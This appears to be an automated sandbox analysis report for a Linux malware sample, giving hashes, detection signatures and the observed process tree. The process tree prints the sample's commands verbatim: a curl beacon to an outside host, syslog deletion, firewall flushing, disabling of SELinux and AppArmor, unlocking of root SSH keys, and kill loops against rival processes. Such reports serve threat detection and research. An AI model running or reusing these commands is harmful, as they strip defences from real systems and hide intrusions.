Analysis
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max time kernel
25s -
max time network
25s -
platform
debian-9_armhf -
resource
debian9-armhf-20240226-en -
resource tags
arch:armhfimage:debian9-armhf-20240226-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
19-04-2024 00:44
Behavioral task
behavioral1
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral2
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
debian9-mipsel-20240226-en
General
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Target
f92072637a0d5eede9213405cca50f48_JaffaCakes118
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Size
61KB
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MD5
f92072637a0d5eede9213405cca50f48
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SHA1
c326fafaf0b92a501e99286f7ceb4a0313f97eae
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SHA256
e958305ce1aba8b1314c35d65ce711e9336d55e1b445560adc053c4446a32d60
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SHA512
4d1ae93e239790a484785df89f662fa2b04accc89d79e6367ad7c84731b9b53badaa9afba4d0281dabcdc5d3a94c25f901b86e4dfaec1706cf63b5e8c4100afb
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SSDEEP
1536:8F2cc2/ndOQvL0KKBoLdAkKFOmm5air0TIe:8F2ccQGoL2v47ccyIe
Malware Config
Signatures
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Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
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Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
Processes:
iptablespid Process 700 iptables -
Attempts to change immutable files 19 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
Processes:
xargsxargsxargschattrgrepsystemctlxargsxargsxargsxargsxargschattrxargsxargsxargsxargschattrchattrgreppid Process 825 xargs 861 xargs 868 xargs 716 chattr 724 grep 753 systemctl 809 xargs 816 xargs 833 xargs 847 xargs 854 xargs 717 chattr 786 xargs 800 xargs 792 xargs 840 xargs 696 chattr 697 chattr 722 grep -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
curldescription ioc Process File opened for reading /proc/cpuinfo curl -
Disables AppArmor 9 IoCs
Disables AppArmor security module.
Processes:
systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlpid Process 726 systemctl 726 systemctl 726 systemctl 774 systemctl 776 systemctl 726 systemctl 726 systemctl 726 systemctl 778 systemctl -
Disables SELinux 1 IoCs
Disables SELinux security module.
Processes:
setenforcepid Process 725 setenforce -
Enumerates running processes
Discovers information about currently running processes on the system
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Reads CPU attributes 1 TTPs 6 IoCs
Processes:
pspsexim4exim4sysctlsysctldescription ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online exim4 File opened for reading /sys/devices/system/cpu/online exim4 File opened for reading /sys/devices/system/cpu/online sysctl File opened for reading /sys/devices/system/cpu/online sysctl -
Enumerates kernel/hardware configuration 1 TTPs 18 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctldescription ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes:
pssystemctlsystemctlpssystemctlawksystemctlsystemctlsystemctlawksystemctldescription ioc Process File opened for reading /proc/518/status ps File opened for reading /proc/618/cmdline ps File opened for reading /proc/self/stat systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/721/stat ps File opened for reading /proc/18/status ps File opened for reading /proc/28/status ps File opened for reading /proc/20/status ps File opened for reading /proc/tty/drivers ps File opened for reading /proc/7/cmdline ps File opened for reading /proc/8/cmdline ps File opened for reading /proc/668/status ps File opened for reading /proc/3/status ps File opened for reading /proc/11/cmdline ps File opened for reading /proc/282/stat ps File opened for reading /proc/280/status ps File opened for reading /proc/667/status ps File opened for reading /proc/724/status ps File opened for reading /proc/16/cmdline ps File opened for reading /proc/102/status ps File opened for reading /proc/134/stat ps File opened for reading /proc/1/environ systemctl File opened for reading /proc/23/status ps File opened for reading /proc/134/status ps File opened for reading /proc/19/cmdline ps File opened for reading /proc/270/cmdline ps File opened for reading /proc/468/stat ps File opened for reading /proc/self/maps awk File opened for reading /proc/677/cmdline ps File opened for reading /proc/708/cmdline ps File opened for reading /proc/217/stat ps File opened for reading /proc/28/status ps File opened for reading /proc/104/cmdline ps File opened for reading /proc/711/cmdline ps File opened for reading /proc/cmdline systemctl File opened for reading /proc/721/status ps File opened for reading /proc/14/stat ps File opened for reading /proc/27/stat ps File opened for reading /proc/94/cmdline ps File opened for reading /proc/667/cmdline ps File opened for reading /proc/1/environ systemctl File opened for reading /proc/2/status ps File opened for reading /proc/9/stat ps File opened for reading /proc/21/stat ps File opened for reading /proc/26/stat ps File opened for reading /proc/270/stat ps File opened for reading /proc/21/cmdline ps File opened for reading /proc/cmdline systemctl File opened for reading /proc/711/status ps File opened for reading /proc/664/status ps File opened for reading /proc/468/cmdline ps File opened for reading /proc/667/status ps File opened for reading /proc/14/cmdline ps File opened for reading /proc/42/cmdline ps File opened for reading /proc/105/cmdline ps File opened for reading /proc/455/status ps File opened for reading /proc/666/cmdline ps File opened for reading /proc/14/status ps File opened for reading /proc/145/status ps File opened for reading /proc/8/stat ps File opened for reading /proc/filesystems systemctl File opened for reading /proc/self/maps awk File opened for reading /proc/712/status ps File opened for reading /proc/self/stat systemctl
Processes
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/tmp/f92072637a0d5eede9213405cca50f48_JaffaCakes118/tmp/f92072637a0d5eede9213405cca50f48_JaffaCakes1181⤵PID:668
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/usr/bin/idid2⤵PID:674
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/usr/bin/curlcurl "http://oracle.zzhreceive.top/b2f628/idcheck/uid=0(root) gid=0(root) groups=0(root)"2⤵
- Checks CPU configuration
PID:676
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/bin/mkdirmkdir /var/tmp/.system -p2⤵PID:693
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/bin/rmrm -rf /var/log/syslog2⤵
- Deletes system logs
PID:695
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/usr/bin/chattrchattr -iua /tmp/2⤵
- Attempts to change immutable files
PID:696
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/usr/bin/chattrchattr -iua /var/tmp/2⤵
- Attempts to change immutable files
PID:697
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/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:700
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/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵PID:705
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/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵
- Reads CPU attributes
PID:713
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/sbin/sysctlsysctl "kernel.nmi_watchdog=0"2⤵
- Reads CPU attributes
PID:715
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/usr/bin/chattrchattr -iae /root/.ssh/2⤵
- Attempts to change immutable files
PID:716
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/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵
- Attempts to change immutable files
PID:717
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/bin/rmrm -rf "/tmp/addres*"2⤵PID:718
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/bin/rmrm -rf "/tmp/walle*"2⤵PID:719
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/bin/rmrm -rf /tmp/keys2⤵PID:720
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/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:721
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/bin/grepgrep -i "[a]liyun"2⤵
- Attempts to change immutable files
PID:722
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/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:723
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/bin/grepgrep -i "[y]unjing"2⤵
- Attempts to change immutable files
PID:724
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/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:725
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/usr/sbin/serviceservice apparmor stop2⤵PID:726
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/usr/bin/basenamebasename /usr/sbin/service3⤵PID:727
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/usr/bin/basenamebasename /usr/sbin/service3⤵PID:728
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/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:729
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/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:741
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/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:743
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/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:745
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/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:749
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/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Attempts to change immutable files
- Enumerates kernel/hardware configuration
PID:753
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/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:755
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/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:757
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/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:760
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/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:762
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/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:765
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/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:767
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/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:770
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/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:726
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/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:726
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/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:726
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/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:726
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/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:726
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/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:726
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/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:774
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/bin/systemctlsystemctl stop aliyun2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:776
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/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:778
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/bin/grepgrep 185.71.65.2382⤵PID:783
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:785
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/usr/bin/awkawk "{print \$7}"2⤵PID:784
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:786
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/bin/grepgrep 140.82.52.872⤵PID:789
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/usr/bin/awkawk "{print \$7}"2⤵PID:790
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:791
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:792
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/bin/grepgrep :4432⤵PID:796
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/usr/bin/awkawk "{print \$7}"2⤵PID:797
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:798
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:800
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/bin/grepgrep -v -2⤵PID:799
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/bin/grepgrep :232⤵PID:805
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/usr/bin/awkawk "{print \$7}"2⤵PID:806
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:807
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/bin/grepgrep -v -2⤵PID:808
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:809
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/bin/grepgrep :4432⤵PID:812
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/usr/bin/awkawk "{print \$7}"2⤵PID:813
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
- Reads runtime system information
PID:814
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/bin/grepgrep -v -2⤵PID:815
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:816
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/bin/grepgrep :1432⤵PID:820
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/usr/bin/awkawk "{print \$7}"2⤵
- Reads runtime system information
PID:821
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:823
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/bin/grepgrep -v -2⤵PID:824
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:825
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/bin/grepgrep :22222⤵PID:829
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/usr/bin/awkawk "{print \$7}"2⤵PID:830
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:831
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/bin/grepgrep -v -2⤵PID:832
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:833
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/bin/grepgrep :33332⤵PID:836
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/usr/bin/awkawk "{print \$7}"2⤵PID:837
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:838
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/bin/grepgrep -v -2⤵PID:839
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:840
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/bin/grepgrep :33892⤵PID:843
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:845
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/usr/bin/awkawk "{print \$7}"2⤵PID:844
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/bin/grepgrep -v -2⤵PID:846
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:847
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/bin/grepgrep :55552⤵PID:849
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/usr/bin/awkawk "{print \$7}"2⤵PID:850
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:851
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/bin/grepgrep -v -2⤵PID:853
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:854
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/bin/grepgrep :66662⤵PID:856
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/usr/bin/awkawk "{print \$7}"2⤵PID:858
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:859
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/bin/grepgrep -v -2⤵PID:860
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:861
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/bin/grepgrep :66652⤵PID:864
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/usr/bin/awkawk "{print \$7}"2⤵PID:865
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/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:866
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/bin/grepgrep -v -2⤵PID:867
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:868
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/bin/grepgrep :66672⤵PID:871
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/usr/bin/awkawk "{print \$7}"2⤵PID:872
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/usr/sbin/sendmailsendmail -t1⤵PID:709
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/usr/sbin/exim4/usr/sbin/exim4 -Mc 1rxaUZ-0000BR-Gh2⤵
- Reads CPU attributes
PID:739
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/usr/sbin/sendmailsendmail -t1⤵PID:712
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/usr/sbin/exim4/usr/sbin/exim4 -Mc 1rxaUZ-0000BU-Gg2⤵
- Reads CPU attributes
PID:740
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/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:734
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/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:733
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
843B
MD5ee0b3cd21999092d5f28ba29b0d31cf6
SHA1833aa7cc9f64dd94d9999a336672f08b96d3f826
SHA256ab9160f5bb1d01e0ace53cc14091ff251827efd9cecbf0e3d62eba06d73df573
SHA5121590a7e09d3965979a95107e48526edebaa22c99b45832538b094e9e2a819c62a627380a45bb7f986615e4463aeaef91390d9e656c44a00dfd2cbf96bd30993f
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Filesize
1KB
MD5f039e343a2add2c87f61f9e82ad18890
SHA130c13f987c2b33a33e15fce33775fd0e3022694f
SHA25697bf49d6b10ef4a1d5f189fd6e60dbd04f003ea281deab45aca3d666b2c3e460
SHA512a63a000877de10276e6d61e99ba05e623e06b210ff393af2fdf9e226578ef944972edb5ee75efc8710da6b7b97f3421e91a18c22940dd9d5a1fe4a05e9830a06
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Filesize
128B
MD56c9c47e55f815326f39bd6f60f115f2f
SHA16d164de33db2f111757d2db1da34584f9bf08d45
SHA256cef97982dbaf9ed62ab2431d907905a157fd6dcf68cf03dcab79cc36f13c4d96
SHA5122cd8d2d283437b4bc316b4e0cbc72333a3c0c793cd9b76b771ea6097e966d7d12fe745ddbdb9732e3e659561fcfef88209473055596d2e3e0b9a38eb0a25ce12
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Filesize
146B
MD575e9a591e4b393c59777a5bdcfdf0f09
SHA1a04c5b00eda606410141e35f07df4b1a0c7a2ea6
SHA256d7a44505ec4c6b2c9e385f516efb3d2b3e098b0eecad40e0fb1d051be7b6b94d
SHA51206144ddd2f0da167d97857aded8c0daff86b513266b3c0627a4bb03ce2de341f8001d03fbd09848cac32f7f8e121353087053a4e555e9677313fe193d4f1658e
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Filesize
34B
MD5d7d96d63d643a4ce3e408eba7dfcedc5
SHA1c53607f95c5c57beafc1d8266646797a035f76ea
SHA25621db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3
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Filesize
915B
MD5766fbc9a179332879b7d4e7360a8a6f0
SHA1e3295558704763983645315936e0ee490812b8b4
SHA256b0da35369bd5b93a89708599dbda0f190cdb9b05f57dd44b7b45414f1283a482
SHA51276834b2903a216c1c42567ba109b17f2e4d9634b2780f81d1cc944c7037704fa18a943f9f1c8c7d1e3d542fe248e81df7b63f03756017da9ce6ea9418915fd6a
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Filesize
288B
MD5da93c102dc91b1c293841abf8c953e43
SHA1a899ede154717a9ae8190966cba15cb41a74ccbc
SHA2563f2e7e8c69c55d969c2c81f0385f08bb30167a16e6dd72aebba3cc9a99628c16
SHA512127cdd6106dca156f92a8f867a26a172077ef325539bfcf1ff0c43a63d272eb17f284486c7c40d648b5855a7b88ebbebd13faf485ac2babe7cd53c2289f1c25f
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Filesize
89B
MD54a1119696e8a19df149b87ec71a68ab1
SHA17957c24eabb223efc5a6713574f9bcd6b1207cd4
SHA25625a6e281326f5a25d652e507ff1f0e3c73b1eaaf63d4180db8a59b7af3d14265
SHA51221f98648a3f321e1e968a7cc36af9f25a643e3814000bd5d18ba39a01ca6c0c27f84b6f6c520e88aae7f0803e2cf859f0c155ac103296dc65a977b534f11c2f5
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Filesize
288B
MD5c002fd0149db67510818a594dbeb0d3b
SHA1321268e6115a77e74fcee8e78f7295f1dfbeca8f
SHA2567ffeae078be57a92643d376bdd9155f7eff59381f1fae6d66692baed533d7229
SHA512cc417c43396b2f17ee9fa8c3913652e886e83a722dd1446e358baccccb957b5cd8088dc7317e312d80e8cd301645af653c07cc189f2788755490b4dde594ac4d
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Filesize
89B
MD5175d7be7fbede8c503a1074fd5408b47
SHA1c9c81540e2f78846bb04eb2f2b32cef3c0e76c07
SHA2565b06290ad13b6e27af545d2599d46f79a692293db92726d8dcdeccd7102df978
SHA512439c75de53b24ab2361bb4044c4782d8132e8332a7f2391ee9447c36096c81ae7e292eddb2176237f32e4c0243b5f813a8ad1c7d83325751875262d96eb0546b